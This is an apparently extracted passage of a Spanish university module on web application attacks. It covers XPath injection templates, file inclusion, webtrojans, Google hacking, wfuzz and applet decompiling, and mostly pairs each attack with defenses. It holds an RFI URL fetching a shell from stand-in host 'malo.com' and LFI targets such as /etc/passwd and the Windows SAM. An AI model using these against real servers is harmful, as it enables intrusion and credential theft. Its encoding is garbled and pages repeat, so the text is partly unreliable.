estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
